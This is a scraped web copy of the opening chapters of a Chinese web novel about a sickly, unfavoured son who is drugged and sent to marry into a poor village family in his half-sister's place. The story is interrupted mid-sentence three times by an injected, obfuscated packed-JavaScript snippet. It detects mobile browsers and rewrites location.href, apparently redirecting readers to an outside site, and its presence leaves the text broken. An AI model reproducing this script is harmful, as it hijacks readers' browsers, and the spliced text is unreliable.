《娇养病弱小夫郎》 1. 宋家二少爷 寒风瑟瑟 ，行人匆匆。 宋家宅子内，丫鬟、小厮一大早便起来忙碌开。 街上百姓路过，抻着脖子艳羡地瞧了眼偌大的庭院，复又缩紧肩膀，消失在呼啸而过的寒风中。 “爹、娘，女儿不嫁！那刘家乡野村户，连身好衣裳都置办不起，便是聘礼也才将将凑了十两银子出来，若是传出去叫人知道女儿夫家是这般模样，女儿的幸福是小，爹娘的脸面该往哪儿搁？不知道的还当咱家没落了，竟将唯一的女儿嫁给乡下泥腿子！” 主院传来女子哭啼声，门前扫雪的小厮听见，悄悄竖起耳朵。 屋内，宋夫人携着帕子给女儿揩眼泪，她瞧了眼立在一旁的宋老爷，“这婚事我也不同意，当年我便瞧不上刘家，半点出息没有，如今十来年过去，竟还是那般穷酸相，我可找人打听过了，那刘家为了攀上咱家这层关系，聘金都是同人借的，刘家穷的都快揭不开锅了，蕊儿嫁过去难不成要跟着一起吃糠咽菜？” 宋蕊儿见她爹皱着眉头不言语，用力扯了扯她娘袖子。 宋夫人拍着女儿手背，无声安抚，转而又对自家夫君说：“何况蕊儿说得对，若真将女儿嫁去那等寒酸村户，咱宋家非成为浔阳百姓饭后谈资不可，届时那些等着瞧咱家笑话的同行，只怕会在背后推波助澜，进而影响到铺子生意。” 宋兴安眉头蹙得更紧，“那你说咋办，刘家可是把婚书都带来了，白纸黑字的，我便是有心反悔都不成。” 二十年前，宋兴安还只是个小小挑货郎，途经莲溪镇偶遇山匪，被云溪村刘家老大刘大生救了下来，宋兴安为报恩情，便琢磨着两家结个姻亲。 刘家虽贫寒，日子也还算过得去，但多年过去，宋兴安生意越铺越大，刘家再贴上来，心里头便有些不舒坦了。 他宋家在浔阳府那也是能叫上名号的，刘家那等门槛凭啥跟自家攀亲家？便是城东开粮铺的陈家，他也颇有些瞧不上眼，可这婚书当年签过字按过手印，如何能做得了悔？ 宋夫人自然也知晓这档子事，左右思忖一番，开口道：“让竹哥儿去好了，婚书上没写名儿，且竹哥儿也是宋家子女，算不得毁约。” 宋蕊儿听后眸子一亮，“对，让竹哥儿去。” 二弟是庶出，让他去最合适不过。 宋兴安没立即答应，母女俩围着劝了又劝，这才点头应允。 “竹哥儿能愿意吗？” 宋夫人面上带笑：“老爷放心，竹哥儿那头我去说合。” 半个时辰后，宋家别院。 “这天儿真冷。” “可不，眼瞅就要过年了，天儿是一日比一日冷，二少爷身子弱，夫人那头再不拨炭火下来，只怕是要不好。” 两个身着轻薄冬衣的年轻丫头、小哥儿，立在院墙挡风一侧，对着主屋低声细语。 屋内不时传出几声闷咳，二人听着面上皆是一阵担忧。 须臾，圆脸丫鬟忍不住开口：“我去主屋那头烧些热水，给二少爷送来。” “你警醒着些，别被那头的人瞧了去。” “哎。” “哎哟！” 不等她出园子，迎面便撞上宋夫人屋里伺候的大丫鬟金翠。 金翠被撞得一个趔趄，吊起眉梢斥责：“眼睛长着做什么用的，瞧不见人不如剜了去。” 红梅连忙矮下身子：“金翠姐姐对不起，方才一时着急，没瞧见你进园子。” 见她态度尚可，金翠也没继续为难，抬手让后头跟着的小厮将东西抬进院子。 红梅见一个个箱子抬进院儿，忍不住问道：“金翠姐姐，这是？” “夫人忧心二少爷身子，命我带人送些取暖物什来。”金翠一双眸子瞥着主屋方向，故意提高嗓门，“铺子那头出了点岔子，夫人担忧的日日不得安睡，这才忘了给竹园这头拨用度，这不，今儿想起立马就唤奴婢来给二少爷送炭火了。” 她让人打开箱子，“都是极好的木炭，便是大小姐那也只得了百十斤，竹园这边足足有两百斤呢！” 红梅大吃一惊，与青禾对视，二人眼中皆是不可置信。 往年别说木炭，便是柴火都要克扣下不少，今年怎的忽然给送了这些木炭？ 事出反常必有妖，青禾心思细腻，从荷包里掏出几文钱塞进金翠手中。 金翠捏着铜板，态度缓和不少。 宋家在外头气派，对下人就没那么厚待了，逢年过节给的赏钱少得可怜，青禾塞给她的这五文钱虽少，但也够买块糕点解解馋了。 “想知道什么，问吧。” 青禾道：“我瞧宅子里昨日来了好些人，金翠姐姐跟在夫人身旁，可知发生了何事？” “这事儿啊。”金翠瞥了眼主屋，随即将人拉至一旁，压低声音道，“来人是莲溪镇云溪村的，咱家老爷当年跟刘家定过婚约，刘家昨个儿便是来下聘迎亲的！” 说着偏头呸了声，“一群乡下泥腿子，还想娶咱大小姐，癞虫合蟆想吃天鹅肉，也配！” 青禾跟着点头：“大小姐知书达理，不说咱浔阳府，便是到了京都也是不愁嫁的。”他观金翠神情，见她没有不耐，继续套话，“那老爷是想毁约不成？” “咋可能，刘家都把婚书带来了。”金翠隔窗望了眼主屋，同他低语，“宅子里又不止大小姐一位适婚待嫁的，这不还有二少爷呢。” 青禾心下一沉，“老爷夫人想让二少爷代大小姐出嫁？” 金翠点头，她斜着眼睛瞧青禾，“这事儿夫人说了不能让二少爷知道，你同红梅虽是在竹园做事儿，但却是夫人的人，可别忘了自己主子是谁。” 说罢领着几个小厮扬长而去。 “二少爷又在咳了，我这就去将火盆点上。”红梅拿来竹筐，捡了些木炭进去。 青禾见状嘱咐道：“别忘了二少爷的手炉。眼下日中都快过了，柳嬷嬷还没回，我去外头瞧瞧。” “好。” 从后门出去，稍走几步便是一条叫卖的街巷，青禾出了院子，还未拐进巷口，便听见一道熟悉的嗓音传进耳朵。 “这二少爷就要成亲了，听说夫家可不一般，柳嬷嬷你身为二少爷的奶娘，说不准能跟着一起去享清福呐。” “可不是，我昨儿瞧见那刘家人穿得可好，便是浔阳府都少有。” 两个挎着菜篮子的胖妇人，一左一右站在柳嬷嬷身旁，二人嘴上说着好话，面上却不然，掩着嘴角分明是在嘲笑。 青禾停住步子，待二人走后，方才提步上前。 “嬷嬷。” “哎。”柳嬷嬷应了声，提起挎在臂弯里的菜篮子给他瞧，“乔嫂子说菜市东头儿有贱卖小菜的，我过去抢了些。” 青禾探头，“还坠着水珠呢。” “可不，新鲜着呢。” 一路行至竹园，待关上后门，柳嬷嬷干瘦的脸上挤出褶子。 “夫人那边的煮饭婆子说二少爷要成亲了，这到底是怎么一回事？” 青禾正要同柳嬷嬷说这事儿，“老爷在莲溪镇有门亲事，原本定的是大小姐，大小姐嫌弃刘家是乡野村户不肯嫁，夫人便想让二少爷替嫁。” 青禾语气焦急：“嬷嬷，您赶紧想想法子吧。刘家连聘礼都是凑的，二少爷身子弱，若是嫁过去，怕是连汤药钱都出不起！” 柳嬷嬷闻言，又气又恼。 她宋蕊儿是宋家子女， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906325|160175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竹哥儿就不是了？虽是庶出，可到底是老爷亲骨肉，也狠得下心。 那刘家她听说过，十几二十年不曾联系，便是随便送个人过去也不会被发现，这事儿定然是秦月娥在背后挑唆，早些年便瞧竹哥儿不顺眼，以养病做借口将人赶来这偏僻的竹园，如今更是连人都容不得了。 气急攻心，柳嬷嬷头脑忽而一阵发胀，险些晕厥。 她稳住神儿，沉声询问：“可晓得婚期定在何日？” “金翠防着我，只说年后，具体哪日不清楚。” 柳嬷嬷面色发沉，将菜篮子递给青禾，脚步匆匆去了主屋。 “竹哥儿醒了。” 进门瞧见面容憔悴、身形消瘦的小哥儿倚靠在床头，心头不由一酸，目光触及小哥儿身上盖着的新棉被，更是红了眼眶。 竹园坐落在宋家西北角，偏僻不说，在宋夫人授意下，吃穿用度照比别的院子差出一大截，宋家大小姐盖的是冬暖夏凉的蚕丝被，宋听竹一床旧棉被缝缝补补又三年，如今被推出去替长姐代嫁，倒是过上了好日子，叫人如何不心酸。 然而宋家这位二少爷置之度外，仿佛这一切都与他无关一般。 “嬷嬷停下吧。” 宋听竹眸子半点光彩也无，灰突突地望着翻箱倒柜中的柳嬷嬷。 柳嬷嬷背影微僵，旋即佝偻着身躯，继续收拾包袱。 “我愿意嫁。” 宋听竹脸色苍白，腕子细若枯枝，俨然是一副病入膏肓之状，对他来说在哪儿苟活，没甚区别，但若能离了宋家，葬在别处也好。 屋内一片静默，好半晌柳嬷嬷才带着哭腔开口。 “你这又是何苦……” 她掩面哭泣，直说是自己没将他照顾好。 “嬷嬷无须自责，是听竹命不好。” 宋听竹轻扯嘴角，然而他面上没什么变化，如同提线木偶一般，生气全无。 “能在死前离开这所牢笼，合该替我高兴才是，只是有些对不住刘家。” “呸呸呸！” 柳嬷嬷听不得他这么说，连忙呸了三声。 “什么死不死的，我昨儿到灵山寺算过，竹哥儿可是长命百岁的富贵命，只要挺过这道坎儿，往后日子顺畅着呢。” “那便借嬷嬷吉言。” 这话是用来哄人的，他心里早已不抱任何希望。 住在竹园这些年，日日盼着能早日痊愈，到外头瞧瞧是何光景，可惜天不遂人愿，他的热情、骄傲，连同抱负，被一起困在这病弱的躯壳之中。 如今只剩一片死寂，他不知为何而活，母亲临终前的遗愿，又绊着他寻死不得，便只能行尸走肉般苟活于世。 厨房内，青禾眉头紧锁。 红梅垂头丧气蹲在灶头前，“我藏不住事儿嘛，二少爷问起，我又不会说谎，就把金翠来园子里的事儿说了。” 青禾往锅里添了瓢水，叹道：“罢了，二少爷知道了也好早做打算。” 晚间用饭，宋听竹如往常，只用了几筷子便没了胃口。 青禾同红梅见柳嬷嬷愁眉不展进了厨房，得知二少爷没有逃婚的打算，登时急红了双眼。 红梅年纪稍小些，忍不住低声哭泣：“让红梅替二少爷嫁过去吧，红梅是女子，刘家定不会起疑。” 当年娘亲重病，要不是二少爷将贴身玉佩给了她，娘亲早就没了。 她虽是夫人的人，一颗心早放在了二少爷这，别说替二少爷出嫁，便是上刀山下火海也是愿意的。 “傻孩子。”柳嬷嬷心疼地抚了抚小丫头的发髻，“竹哥儿若是晓得你替他出嫁，一辈子都不能心安。” “呜呜，二少爷……” 2. 代长姐出嫁 一夜大雪，原本冷清静谧的竹园，在皑皑白雪中，越发萧索凄凉。 许是昨个吹了风，宋听竹头脑昏沉，直到巳时也未能清醒，柳嬷嬷伸手去探，被掌心滚烫的温度惊到。 “禾哥儿，快去东院儿支银子请大夫！” “哎！” 青禾将帕子塞进红梅怀中，眨眼便没了人影。 焦急等待小半个时辰还不见人回，屋内二人皆是一脸担忧。 红梅道：“嬷嬷您守着二少爷，我去外头瞧瞧。” 刚出门，便瞧见青禾领着大夫匆匆进了园子，她连忙迎上前。 “禾哥儿，你脸怎么了？”红梅盯着青禾，满眼气愤，“东院儿的人对你动手了？” 青禾左脸颊高高肿起，嘴角隐隐带着血丝。 他偏过头不在意道：“没事，二少爷如何了？” 红梅红了眼眶：“还未醒呢，大夫您快进去瞧瞧我家少爷吧。” 老大夫一路赶来气喘吁吁，然则人命关天，由不得他多做休息，一番诊治下来，老大夫捋着胡须摇了摇头。 “你家少爷这病是打娘胎里带出来的，老朽治不了，只能帮他施针暂缓痛苦。” 多年来三人找过许多大夫，得到的结果无一例外，只是每次听到这话难免又是一阵伤心失望。 柳嬷嬷擦擦眼角，唤青禾将人客客气气送出竹园。 半刻钟后，宋听竹悠悠转醒，他望了眼虎口处因施针留下的青紫色痕迹，虚弱又无力：“嬷嬷不用难过，人固有一死，而且我想娘亲了，不知道她在那头过得好不好。” “别胡说，禾哥儿请了云游大夫，说你这病能治，只是得打起精神才是，自个儿都不爱惜着自个儿身子，旁人便是再担心也无用。” 柳嬷嬷眼眶发涩，说着安慰话，将手里汤药递上前。 红梅立在青禾身旁抹着眼泪。 宋听竹在柳嬷嬷看顾下乖乖喝过药，抬眸见禾哥儿脸颊肿起，眉心微拧。 “宋蕊儿动的手？” 青禾身形微顿，不等他回答，红梅便抢着说道：“除了她还能有谁，夫人可不屑同我们这些个下人动手。” “人呢？这竹园怎的半点规矩都没有，大小姐来了也不知道出门迎接。” 外头传来丫鬟傲慢嚣张的叫嚷。 青禾听见心里升起担忧，大小姐不喜二少爷，向来鲜少踏进竹园，每回过来不是挖苦便是嘲讽，今日前来定然也不会说些好话。 他看向靠在床头，没什么精气神儿的人，“我去把人支开。” 宋听竹却道：“不必，让人进来吧，我恰好有话要跟宋蕊儿说。” 片刻后，宋蕊儿仿佛里头有什么不干不净的东西般，用帕子遮着口鼻，一脸嫌弃地踏进屋子。 “听说二弟病了，我过来瞧瞧。” 她左右打量一番，见宋听竹果然一副病入膏肓、命不久矣的模样，帕子后的嘴角轻轻牵起，继而擦着眼角，装作心疼关心起来。 “二弟怎的病成这个样子？脸色差的姐姐险些没认出来。” 这话说得，宋听竹虽病着，容貌没有多大变化，依旧能瞧出昔日的精致漂亮，她这么说不过是想借机打压一番罢了。 宋蕊儿自小生得好看，爹疼娘爱，平日没少受人吹捧，但自从她爹将小娘娶进门，生下一个小哥儿后，这份殊荣便换了人。 宋听竹小时病得没这般严重，眸子圆滚滚、脸颊圆乎乎，玉雪可爱又乖巧聪慧从不闹人，周岁宴后浔阳百姓无人不知，宋家二少爷冰雪聪颖，比那位大小姐有过之而无不及。 又因柳小娘年轻貌美，宋兴安对她很是宠爱，连带着对庶出的二儿子也是疼爱有加。 宋夫人倍受冷落失了宠，宋蕊儿几次三番听见宅子里下人说三道四，便将人记恨上了。 然而好景不长，两年后柳小娘病故，宋听竹被遣往竹园养病轻易不得外出，日子久了，浔阳百姓慢慢将其忘却，每每谈起，只晓得宋家有位知书达理、容貌姣好的大小姐，便是有人记得还有位二少爷，也只用病秧子来称呼。 言归正传。 宋蕊儿态度如何，宋听竹并不在意，他面色平静，半句多余的话都不曾说，直接开口向她讨要青禾与红梅的卖身契。 “你要他二人的卖身契做什么？” 宋蕊儿睨着眉眼跟柳小娘宛若一个模子刻出来的二弟，心里别提多厌恶。 哼笑一声，嘲讽道：“二弟真是大度，还没进门，就想着给自家夫君纳小妾了。” 想起她的好二弟还不知晓代嫁一事，掩着嘴角幸灾乐祸。 “对了，二弟怕是还不知道，家里替你寻了门顶好的亲事吧。二弟不喜热闹，那刘家远离闹市，且山清水秀、民风质朴，二弟去了定然欢喜。” 宋听竹喉咙有些发痒，捂着唇瓣咳了两声。 本就离得远的宋蕊儿，见状嫌弃地往后退了小半步。 宋听竹看着她，面色比方才更加苍白。 “可我听说这门好亲事原是长姐你的。” 宋蕊儿心头一跳。 他竟知道！定是青禾跟红梅这两贱人将此事说了出去。不过那又如何，娘让下人将竹园看管的密不透风，宋听竹病秧子一个，是决计跑不掉的。 “二弟不觉得你比我更适合这门亲事吗？” 既如此，也没必要再装，她脸上恶意不加掩饰，言语讥讽：“一个是不受宠、病得要死的庶出子，另一个是妄想攀上枝头做上等人的乡下泥腿子，两个岂不般配。” “正如长姐所说，我重病在身，若在成亲之前去了，这婚事自然还是长姐你的。” “你威胁我！”宋蕊儿捏紧帕子。 宋听竹面不改色，与她对视道：“长姐觉得是便是。” 见他承认，宋蕊儿气得面色涨红。 “好！好得很！” 等你嫁去那饭都吃不起的刘家，看你还如何嚣张！ 她狠狠瞪了眼床上的人，随即甩着衣袖，怒气冲冲离开竹园。 青禾掩上门，嗓音沙哑：“少爷，您不必为我们做这些的。” 大小姐一向心眼小，二少爷出嫁在即，此时将小姐得罪了去，怕是会在夫人那边说嘴，给二少爷使绊子。 红梅也是一脸担忧，绞着手指头不知所措。 宋听竹轻咳几声，喝过柳嬷嬷递过来的茶水，缓和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906326|160175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片刻，略带疲惫地道：“宋夫人留你们在竹园，是为了监视我，这些年你与红梅待我如何，她不可能半点不知情，若我走了，定会找你们二人麻烦。” 柳嬷嬷接话：“离开宋家也好，你们也许久未曾回过娘家了，回去让家里相看个好夫家，安安生生过日子。” 红梅闻言，立马红了眼眶：“红梅不嫁人，红梅想继续跟在二少爷身边伺候。” “傻孩子，女子跟小哥儿哪有不嫁人的，说出去叫人笑话。” 窗外寒梅待放，宋听竹捧着手炉，遥望枝头。 嫁人有什么好，娘当年若是不曾嫁进宋家，便不会郁郁而终。 “咳咳——咳咳咳……” “二少爷！” “窗子怎的打开了，青禾快去关严实了。” “哎！” 竹园内一阵兵荒马乱，药香缭绕至深夜。 翌日酉时，东院那头遣人将青禾、红梅的卖身契送了来。 宋听竹将契书还与二人，又让柳嬷嬷各包了五十文钱。 “虽少了些，用来做个盘缠应当是够的。” 说来引人发笑，堂堂宋家二少爷，能支配的银钱不过百文，手上这半两银子便是他全部积蓄。 二人没接，异口同声道：“少爷，这钱我们不能要！” 青禾将荷包搁在矮桌上，“少爷不必破费，您已经帮了我们很多，我跟红梅这几年也攒下了些银钱，足够用来讨生活。” 宋听竹没再坚持，夜里唤来柳嬷嬷，让人将铜板偷偷塞进二人包袱里。 三日后，除夕夜。 宋家宅院张灯结彩，好不热闹。 宋听竹所居的竹园，却冷清依旧。 窗外寒梅盛放，宋听竹唤红梅折来一枝，别在床头。 入夜，屋内烛光闪烁，宋听竹喝过汤药，听着外头阵阵爆竹声，合眼陷入昏睡。 - 翌日卯时未过，天尚且黑着，一顶小轿自宋家后门抬出，晃晃悠悠出了城门。 两个时辰后，拐进一处泥巴路，轿夫体力不支，脚下一滑，轿子倾斜半寸，便听里头咣当一声闷响。 “哎哟，当心着点，摔了人要你们好看！” 一旁穿着花衣、头上簪着红花的胖妇人，捏着嗓子低声训斥。 “后头的跟紧些，再有小半个时辰就到了。” 她扭身，朝后招手。 “不是说宋家二少爷不受宠吗，嫁妆咋还这么沉？” “都在箱子里装着谁知道是啥，说不定是石头呢。” “宋家家大业大，还缺这点银钱？” “这你就不知道了，越是富贵人家，腌臜事儿越多。” “咱都走这么久了，轿子里头一点动静都没有，这人怕不是被下了药吧。” “十有八九，早上那会儿我瞧见那位浑身软绵绵，是被下人架进轿子的。” “外头都传宋老爷宅心仁厚，宋夫人教导子女有方，现在看来多少掺了水分。” 几个抬箱的汉子，小声谈论。 蒋媒婆耳朵尖，闻声赶来，叉着圆腰扬声教训：“胆敢私下议论主家长短，工钱不想要了怎的？” 3. 俺看谁敢！ 莲溪镇，云溪村。 “大生家虎子今儿不是要娶亲，眼瞅着日头都快落山了，咋还不见人影？” “八成黄了，人家可是府城里的大小姐，整日穿金戴银的，刘家小门小户，能瞧得上才怪。” “听说婚事定下前，宋家还没发家呢，两家婚书都签了，村长去当的见证人，这白纸黑字的，宋家要是反悔，名声还要不要了？” “倒也是——哎，有轿子进村了，后头还跟着好几抬大红箱子哩！” “这穿着打扮不像村户人，轿顶还挂着红绸子，莫不是那宋家小姐来了？！” 几个婆子拎着豆腐，好奇观望。 “灵芝，你二嫂来了，还不快回家唤你二哥来接亲！” 刘家小妹刘灵芝蹲在一旁枯树下，埋头在雪地上胡乱涂鸦，听见动静抬头去瞧，见果真有轿子进村，忙起身往家跑去。 “爹娘、二哥，轿子进村了！” 阮秀莲正同几个妇人在灶房里置办席面，闻言连忙擦净双手，摘了腰裙一瞧，二儿子还穿着那身补丁衣裳，顿时气不打一处来。 “还不快回屋把衣裳换咯！” 今儿是二儿子刘虎成亲的日子，阮秀莲一早便嘱咐过今日不必做活，耐心等着成亲便是，但他平日里做活做惯了，闲不下来，一大早又是打扫鸡舍猪圈、又是砍树劈柴、弄出一身臭汗不说，原本就脏污的衣裳更是看不出模样。 此时擦洗已是来不及，阮秀莲只好让二儿子换身衣裳，再用艾草熏了，直到闻不见味道，方才领着一大家子出院迎接。 “来了来了，光嫁妆就好几抬箱子，宋家真是阔气！” “虎子好福气，竟能把府城里的小姐娶回来做老婆。” “谁说不是，刘家攀上这么一门好亲事，往后日子何愁过不好。” “这宋家竟还真将人送了来！刘家老二四肢发达头脑简单的二愣子一个，也不知哪里来的狗屎运。” “刘家都穷成啥样了，还有银钱请锣鼓班子呢。” “刘家没钱，宋家有啊！请锣鼓班子算啥，那一抬抬箱子里装的可都是银子！” “什么银子，要我看就是石头，宋家要真满意这门亲事，怎的不见那宋兴安亲自来，只派个媒婆来算什么。” 前来瞧热闹的村民，个个羡慕嫉妒地红了眼。 这厢蒋媒婆指挥着送亲队伍，在一片吹吹打打的锣鼓声中停下。 她指头点着几个抬箱子的汉子。 “动作轻些，碰坏了可赔不起。” 大伙听后，心头皆是一震。 这宋家到底准备了啥嫁妆，这般宝贝着。 刘家人被阮秀莲耳提面命过，还算镇定。 “娘，怎么只有媒婆在，宋家人一个都没来。”老大媳妇儿唐春杏，在婆婆身后低声说。 阮秀莲也发现了，她面上不显，心里已然有些不快。 “亲家怎的没来？” 刘大生性子木讷不会说话，俩儿子的婚事都是由阮秀莲操持的，这会儿自然是她站出来说话。 蒋媒婆挤着张胖脸，上下将她打量一番。 “宋老爷手底下那么多间铺子，哪里抽得出空来。如今年节又刚过，宅子里正准备宴请亲朋好友，这些都要夫人亲自看顾操办呢。” 甩着帕子怪腔怪调，叫人听着就不舒坦。 见刘家人脸色不好，瞧热闹的村民也都议论纷纷，又连忙换了一副面孔，挽着阮秀莲手腕，一口一个妹子叫得亲热。 “妹子你是不知，宋家生意近来不大好，老爷跟夫人忙里忙外，年节更是连宅子都没回，现下被困在宁安府，等大雪退了才能返家哩，老爷夫人怕耽误了吉时，便遣我先领着家里下人过来，老爷同夫人晚些时辰便到。” 阮秀莲面色缓和些，只是眼瞅就要到拜堂的时辰，女方父母皆不在，着实有些不好看。 蒋媒婆趁热打铁，“先拜堂吧，误了吉时可不好。” “这咋拜，宋家连位长辈都没来。” “成亲这么大的事面都不露一个，分明是瞧不起咱农户人家。” “人宋家发达了，在府城吃香的喝辣的，哪里还看得上咱们这些穷乡亲。” 大伙儿议论纷纷。 蒋媒婆捏着帕子道：“这位婶子，话可不能乱说，老爷夫人自然也是想来的，奈何有事绊住了。” 转而拍着阮秀莲手背，笑脸相迎。 “跟妹子说句掏心窝子的话，宋家家大业大，在府城颇有权势，若当真瞧不上农户，何必将子女嫁过来，悔婚便是。” 阮秀莲心想倒也是这个理儿。 虽说两家早有婚约，但二十年来来往甚少，要不是那日收整屋子，意外将婚书翻了出来，这事儿也就作罢了。 后来托人一番打听，得知宋家门槛不同往日，也曾想过将婚书撕毁，又忧心宋家日后上门问起，伤及当年情分。 二儿子早已过了婚娶年龄，不能再拖，于是便厚着脸皮登门求娶，但凡宋家有半分犹豫，婚约一事就当从没有过。 她记得清楚，宋兴安当天高兴得不得了，立即唤下人请来蒋媒婆将日子定下。 倘若他宋家有心变卦，又何须多此一举。 思及此处，阮秀莲心中彻底安定下来。 蒋媒婆八面玲珑，好话跟大道理一箩筐一箩筐往外出，云溪村众人没见过啥世面，被哄得晕头转向、连连点头。 “吉时到了！” 人群中有人喊，大伙儿赶忙往两头散开，几十双眼睛盯着轿子，翘首以盼。 “还不快把人扶下来，别耽误了吉时！”蒋媒婆转头招呼同行的两个小哥儿，复又扭身朝刘家人笑呵呵解释，“妹子别见怪，宋小姐昨儿没歇好染了风寒，身子有些不爽利。” “不碍事，人没啥事儿就好。” 阮秀莲晓得，城里人娇嫩，一点小病就得卧床静养，更别提她这二儿媳还是打府城来的，往后家里少不得仔细关照着些。 谈话间两个小哥儿已经将人扶下轿子。 “哟，这宋小姐身量这么高那！” “骨架也比寻常女子大些，一瞧就知道是个好生养的，要我看用不了几个月，秀莲妹子就能抱上孙子孙女。” “可我瞅着咋有些不对劲，也没见谁家染了风寒，连路都走不了，这宋家小姐怎的腿都迈不开，还得用人搀扶着才行。” “这有啥，宋家高门大户的，还不准人娇气不想走路了。” 农户人家心思单纯，没往别处想，只当是城里小姐耍娇气，哪晓得这盖头下的不是宋家大小姐，而是那不受宠的庶出子。 宋听竹浑身绵软，脑袋也如同一团糨糊，迷迷糊糊被人搀下轿子，听着耳旁嗡嗡的说话声，人总算清醒过来几分，只是四肢仍旧无力，身侧两个小哥儿力气又大的很，他不得不随其动作，艰难迈开双腿前行。 这里是哪儿……他好似听见了锣鼓声。 微微晃了晃发蒙的脑袋，待那阵飘忽的感觉散去，这才想起自己被人喂了药，天不亮便被塞进轿子，送出了城。 身子是麻的，不知赶了多久路，才到的这云溪村。 “小姐，当心脚下。” 耳边传来提醒，宋听竹吃力地抬起脚。 他头脑尚未完全恢复清明，此刻如同提线木偶，只晓得跟从指令走，当礼生唱到“夫妻对拜”，他忽然停在原地，没了动作。 “二少爷莫不是想反悔？”身侧小哥儿压着嗓子威胁，“别忘了柳嬷嬷还在宅子里，二少爷若是反悔，夫人定不会放过柳嬷嬷。” 说罢稍微使了些力气，手下的身子便跟着一起转了过来。 “礼成，送入洞房——” “大生家的，恭喜恭喜啊，得了这么一个好儿媳，日后只管享清福就是。” “虎子还不快掀盖头，让俺们也瞧瞧府城小姐长啥样。” “是啊是啊，俺长这么大还没见过府城人哩，只见过镇上的小姐少爷，长得跟白面馒头似的，好看着嘞。” “什么白面馒头，那叫肤白面嫩！” 大伙儿又是一阵嘻嘻哈哈。 宋听竹只觉得无比吵闹，他微皱着眉头，在两个小哥儿的搀扶下往新房走，抬脚刚要迈过门槛，一阵凛冽的寒风吹过，将他头上的盖头吹了去。 “呀！” 两个小哥儿惊呼一声，尚未来得及捡起盖头，便听围观宾客吃惊道：“怎的是个小哥儿？！” “方才就觉得不对劲，还当宋家伙食好，将个姑娘喂成了小哥儿体型。” “大生家的，这到底是咋回事，好端端的姑娘咋变成小哥儿了？瞧这模样病的还不轻，别不是那宋家想悔婚，随便塞了个人进花轿！” 刘家人也不清楚发生了什么，刘家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906327|160175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大儿子刘猛是个急性子，见来的不是那日见过的宋蕊儿，甩着膀子吼道：“好你个蒋婆子，定是你把人给调包了！” 见事情已成，蒋媒婆不再客套，言语间满是嘲讽与嫌弃。 “这是哪里话，都是宋家子女，何来调包一说？” 阮秀莲恍惚想起当初托人打听宋家时，那人确实说宋家有三个孩子，因着二子是庶出，又常年卧病在床，鲜少有人提起。 可两家定下的是老大宋蕊儿，并不是宋家老二。 蒋媒婆不欲多说，事情办妥便想走人。 阮秀莲大喝一声：“给我把人拦住！” 刘猛同几个来吃酒的魁梧汉子，立即上前将人拦下。 蒋媒婆吊起眉眼，“大妹子这是何意？” 阮秀莲怒气冲冲：“当时定下的分明是老大宋蕊儿，如今送个病哥儿进门是几个意思？今儿要不给个说法，休想走！” 蒋媒婆一点不慌：“妹子莫不是糊涂了，宋家大小姐早同府上崔家定了亲，同你们有婚约的是二少爷，虽是庶出，老爷夫人一样的疼爱，只是自小身子骨不大好，为人阴沉冷漠了些。” 村民闻言，小声议论开。 “原来是宋家二少爷，都是宋家子女，娶谁进门都一样。” “一样啥，没听她说这位二少爷是庶出，身子骨还不好，我瞧着何止不好，脸色这么差，连咳带喘的，怕是要不几日喜事儿就得变白事儿！” “呸呸呸！你家才喜事儿变白事儿！”刘家老太太刘翠娥叉着腰嚷开，“宋家欺人太甚，这事儿不能就这么算了。老大、老二，叫上几个壮硕汉子，咱上府城退亲去！” “走，退亲去！” “顺道找宋家讨个说法，亲事是他宋兴安亲口承诺下的，反悔就算了，推个病秧子出来糊弄人，是觉得咱刘家没人好欺负还是咋的？！” 刘家吵嚷着要退亲，来吃酒的村民看瞧热闹不嫌事儿大，在一旁跟着起哄。 宋听竹体力不支，倚靠着门框，脑袋嗡嗡作响，他面无血色，紧抿着唇瓣只希望这场闹剧能尽快收场。 “他是俺媳妇儿。” 混乱中，一道低沉、略显粗犷的男声响起。 大伙儿闻言，顿时鸦雀无声。 刘家人最先反应过来，刘老太太捶打着孙子刘虎的肩背，骂骂咧咧：“糊涂！什么媳妇儿，一个要死的病秧子罢了，你媳妇儿是宋家大小姐宋蕊儿，宋家不厚道，叫个病秧子哥儿替长姐代嫁，真是脸面都不要了！虎子放心，奶就算拼上这把老骨头，也定要去府城宋家好好理论一番！” 刘虎二叔刘二生，也是一脸怒容：“你奶说得对，宋兴安这事儿办得忒不地道，当年要不是大哥从匪徒手里救下他，哪有今日的好风光，如今钱袋子鼓起来，想过河拆桥了，这世上哪有这种好事儿！想悔婚也成，家里损失这么大，不赔个一百两咱就把替嫁这事儿宣扬出去，叫他在府城没脸做人！” 刘老爷子没啥主见，听见能找宋家赔偿那么多银子，想也不想，跟着应和：“没错，就按老二说的法子办！” 